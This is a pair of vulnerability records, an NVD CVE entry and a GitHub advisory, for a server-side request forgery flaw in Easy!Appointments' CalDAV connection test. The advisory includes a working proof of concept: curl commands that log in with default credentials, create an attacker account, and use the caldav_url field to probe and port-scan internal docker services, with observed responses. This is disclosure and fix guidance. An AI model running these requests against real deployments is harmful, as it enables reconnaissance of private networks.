{
  "affected": [
    {
      "affectedData": [
        {
          "product": "easyappointments",
          "vendor": "alextselegidis",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.6.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Easy!Appointments is a self hosted appointment scheduler. In versions prior to 1.6.0, `Caldav::connect_to_server` at `application/controllers/Caldav.php:60` hands the request\u0027s `caldav_url` to a Guzzle `REPORT` call without scheme or host validation. A logged-in backend user (admin, provider, or secretary) reaches loopback, RFC1918, and link-local hosts on the deployment\u0027s network. The Guzzle exception path returns the upstream status code plus ~120 bytes of response body in the JSON `message` field (`Caldav.php:74-78`), so the SSRF is semi-blind. Version 1.6.0 contains a patch."
    },
    {
      "lang": "es",
      "value": "Easy!Appointments es un programador de citas autohospedado. En versiones anteriores a la 1.6.0, \u2019Caldav::connect_to_server\u2019 en \u2019application/controllers/Caldav.php:60\u2019 pasa la \u2019caldav_url\u2019 de la solicitud a una llamada \u2019REPORT\u2019 de Guzzle sin validaci\u00f3n de esquema o de host. Un usuario de backend autenticado (administrador, proveedor o secretario) alcanza hosts de loopback, RFC1918 y link-local en la red del despliegue. La ruta de excepci\u00f3n de Guzzle devuelve el c\u00f3digo de estado ascendente m\u00e1s ~120 bytes del cuerpo de la respuesta en el campo JSON \u2019message\u2019 (\u2019Caldav.php:74-78\u2019), por lo que la SSRF es semi-ciega. La versi\u00f3n 1.6.0 contiene un parche."
    }
  ],
  "id": "CVE-2026-52840",
  "lastModified": "2026-10-24T21:10:00.130",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 2.7,
          "baseSeverity": "LOW",
          "confidentialityImpact": "LOW",
          "integrityImpact": "NONE",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 1.2,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-52840",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-15T13:53:03.540827Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-14T16:17:00.670",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/alextselegidis/easyappointments/commit/6eb9336a91cfb276379506625e81f5bd9ed3a536"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-pm5p-7w5h-jm5q"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-pm5p-7w5h-jm5q"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "alextselegidis/easyappointments"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52840"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T16:24:27Z",
    "nvd_published_at": "2026-07-14T16:17:00Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\n`Caldav::connect_to_server` at `application/controllers/Caldav.php:60` hands the request\u0027s `caldav_url` to a Guzzle `REPORT` call without scheme or host validation. A logged-in backend user (admin, provider, or secretary) reaches loopback, RFC1918, and link-local hosts on the deployment\u0027s network. The Guzzle exception path returns the upstream status code plus ~120 bytes of response body in the JSON `message` field (`Caldav.php:74-78`), so the SSRF is semi-blind.\n\n### Preconditions\n\n- Backend login on the target instance. Non-admin attackers supply their own `provider_id` and pass the per-row check at `Caldav.php:52`; admins can target any row.\n- Default deployment per the project\u0027s own `docker-compose.yml`, which puts `mysql`, `mailpit`, `phpmyadmin`, `baikal`, `openldap`, `phpldapadmin`, and `swagger-ui` on the same docker network as `php-fpm`.\n\n### Details\n\n```php\n// application/controllers/Caldav.php:45-82\npublic function connect_to_server(): void\n{\n    try {\n        $provider_id = request(\u0027provider_id\u0027);\n        $user_id = session(\u0027user_id\u0027);\n\n        if (cannot(\u0027edit\u0027, PRIV_USERS) \u0026\u0026 (int) $user_id !== (int) $provider_id) {\n            throw new RuntimeException(\u0027You do not have the required permissions for this task.\u0027);\n        }\n\n        $caldav_url = request(\u0027caldav_url\u0027);                                  // (*) attacker-controlled\n        $caldav_username = request(\u0027caldav_username\u0027);\n        $caldav_password = request(\u0027caldav_password\u0027);\n\n        $this-\u003ecaldav_sync-\u003etest_connection($caldav_url, $caldav_username, $caldav_password);  // (*) sink\n        ...\n    } catch (GuzzleException | InvalidArgumentException $e) {\n        json_response([\n            \u0027success\u0027 =\u003e false,\n            \u0027message\u0027 =\u003e $e-\u003egetMessage(),                                    // (*) upstream body reflected\n        ]);\n    }\n}\n```\n\nThe per-row check at line 52 only constrains *which provider record* the caller may write to; it does not constrain *where the outbound request lands*. `$caldav_url` flows unchanged into `Caldav_sync::test_connection` at `application/libraries/Caldav_sync.php:389`, which calls `get_http_client` to construct a Guzzle client whose `base_uri` is the attacker URL (`Caldav_sync.php:375-382`), then issues `REPORT` against it via `fetch_events` at `Caldav_sync.php:558`. The only input check in `get_http_client` is `filter_var($caldav_url, FILTER_VALIDATE_URL)` at line 363, which validates the URL grammar - not the host - so loopback, RFC1918, link-local, and arbitrary internal hostnames pass.\n\nWhen Guzzle raises `RequestException`, its `getMessage()` formats as ``Client error: `REPORT http://target/` resulted in a `405 Method Not Allowed` response: \u003cbody truncated to ~120 chars\u003e``. `Caldav::connect_to_server` returns that string verbatim in `message`. For `ConnectException` (port closed, DNS failure, TLS handshake error) the message names the host, port, and underlying cURL error number - enough to port-scan the deployment\u0027s network.\n\n### Proof of concept\n\n**Setup**\n\n1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:\n\n   ```bash\n   git clone https://github.com/alextselegidis/easyappointments\n   cd easyappointments\n   git checkout 1.5.2\n   cp config-sample.php config.php\n   docker compose up -d\n   until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done\n   ```\n\n2. Run the console installer. The seed sets administrator\u0027s password to the literal string `administrator` (`application/libraries/Instance.php:99`):\n\n   ```bash\n   docker compose exec -T php-fpm php index.php console install\n   ```\n\n3. Log in as `administrator` (the project\u0027s session cookie is `ea_session`) and create an attacker provider. The default `require_phone_number=1` setting makes `phone_number` mandatory:\n\n   ```bash\n   export ADMIN_JAR=/tmp/admin.cookies\n   curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null\n   CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ADMIN_JAR)\n   curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"username=administrator\" \\\n     --data-urlencode \"password=administrator\" \u003e /dev/null\n\n   CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ADMIN_JAR)\n   curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \u0027provider[first_name]=Mal\u0027 \\\n     --data-urlencode \u0027provider[last_name]=Lory\u0027 \\\n     --data-urlencode \u0027provider[email]=mallory@x.test\u0027 \\\n     --data-urlencode \u0027provider[phone_number]=+10000000000\u0027 \\\n     --data-urlencode \u0027provider[timezone]=UTC\u0027 \\\n     --data-urlencode \u0027provider[language]=english\u0027 \\\n     --data-urlencode \u0027provider[settings][username]=mallory\u0027 \\\n     --data-urlencode \u0027provider[settings][password]=Attacker-pw-1\u0027 \\\n     --data-urlencode \u0027provider[settings][notifications]=0\u0027\n   export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \\\n     -e \"SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username=\u0027mallory\u0027\")\n   ```\n\n4. Log in as the attacker into a dedicated cookie jar:\n\n   ```bash\n   export ATTACKER_JAR=/tmp/attacker.cookies\n   curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null\n   CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ATTACKER_JAR)\n   curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"username=mallory\" \\\n     --data-urlencode \"password=Attacker-pw-1\" \u003e /dev/null\n   ```\n\n**Exploit**\n\n1. The attacker probes the `nginx` container that fronts Easy!Appointments itself, hitting a 404 path. They pass their own `$ATTACKER_ID` so the row-ownership check at `Caldav.php:52` succeeds; the URL has nothing to do with the row:\n\n   ```bash\n   CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ATTACKER_JAR)\n   curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"provider_id=$ATTACKER_ID\" \\\n     --data-urlencode \"caldav_url=http://nginx/some/404/path\" \\\n     --data-urlencode \"caldav_username=x\" \\\n     --data-urlencode \"caldav_password=x\"\n   ```\n\n   Observed (verified on a fresh `docker compose up`): `{\"success\":false,\"message\":\"Client error: \\`REPORT http:\\/\\/nginx\\/some\\/404\\/path\\/\\` resulted in a \\`404 Not Found\\` response:\\n\\n\u003c!doctype html\u003e\\n\u003chtml lang=\\\"en\\\" style=\\\"\\n    height: 100%;\\n\\\"\u003e\\n\u003chead\u003e\\n    \u003cmeta charset=\\\"utf-8\\\"\u003e\\n    \u003cmeta http-equiv=\\\"X- (truncated...)\\n\"}` - the upstream HTTP status and the first chunk of the response body are reflected in the JSON.\n\n2. The attacker scans the docker network. Each target produces a distinct exception shape that fingerprints the service. The maintainer can paste the loop verbatim:\n\n   ```bash\n   for target in mysql:3306 swagger-ui:8080 mailpit:8025 phpmyadmin nonexistent.invalid; do\n     CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ATTACKER_JAR)\n     printf \u0027\\n=== %s ===\\n\u0027 \"$target\"\n     curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \\\n       --data-urlencode \"csrf_token=$CSRF\" \\\n       --data-urlencode \"provider_id=$ATTACKER_ID\" \\\n       --data-urlencode \"caldav_url=http://$target/\" \\\n       --data-urlencode \"caldav_username=x\" \\\n       --data-urlencode \"caldav_password=x\"\n   done\n   ```\n\n   Observed: `mysql:3306` returns `cURL error 1: Received HTTP/0.9 when not allowed` - port open, not HTTP. `swagger-ui:8080` returns `Client error: \\`REPORT http://swagger-ui:8080/\\` resulted in a \\`405 Not Allowed\\` response: \u003chtml\u003e\\r\\n\u003chead\u003e\u003ctitle\u003e405 Not Allowed\u003c/title\u003e...` - port open, HTTP, nginx fronts it. `mailpit:8025` and `phpmyadmin` (port 80) return `{\"success\":true}` - port open, HTTP, the CalDAV `REPORT` was accepted without a 4xx. `nonexistent.invalid` returns `cURL error 6: Could not resolve host`. Each shape lets the attacker enumerate which internal services exist.\n\n### Impact\n\n- **Confidentiality:** Reaches arbitrary HTTP and HTTPS hosts reachable from the `php-fpm` container, including loopback, the docker network\u0027s `mysql`, `mailpit`, `phpmyadmin`, `baikal`, `openldap` services, and any RFC1918 / link-local IP on the host network.\n- **Confidentiality:** Reads up to ~120 bytes of each upstream HTTP response and the exact connection-failure reason via the JSON `message` field, enough to fingerprint internal services and read short error pages, banners, or status documents.\n\n### Suggestions to fix\n\n\u003e _This has not been tested - it is illustrative only._\n\nReject non-`http`/`https` schemes and resolved private addresses before constructing the Guzzle client.\n\n```diff\n         $caldav_url = request(\u0027caldav_url\u0027);\n+\n+        $scheme = parse_url($caldav_url, PHP_URL_SCHEME);\n+        $host   = parse_url($caldav_url, PHP_URL_HOST) ?: \u0027\u0027;\n+        $ip     = filter_var($host, FILTER_VALIDATE_IP) ?: gethostbyname($host);\n+\n+        if (!in_array($scheme, [\u0027http\u0027, \u0027https\u0027], true) || $ip === \u0027\u0027 || $ip === $host\n+            || !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n+            throw new InvalidArgumentException(\u0027CalDAV URL is not allowed.\u0027);\n+        }\n+\n         $caldav_username = request(\u0027caldav_username\u0027);\n         $caldav_password = request(\u0027caldav_password\u0027);\n\n         $this-\u003ecaldav_sync-\u003etest_connection($caldav_url, $caldav_username, $caldav_password);\n```\n\n### Credit\n\nDredsen, 2026.",
  "id": "GHSA-pm5p-7w5h-jm5q",
  "modified": "2026-07-29T16:24:28Z",
  "published": "2026-07-29T16:24:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-pm5p-7w5h-jm5q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52840"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/commit/2da2baed18ec32ad7916e507815709c8f010d510"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/commit/4abb10545d83ac1a57d03f6502376ee67696ea7c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/commit/6b34b78c47790dfd1dec27cf62926db51be276e9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/commit/6eb9336a91cfb276379506625e81f5bd9ed3a536"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/alextselegidis/easyappointments"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment\u0027s internal network"
}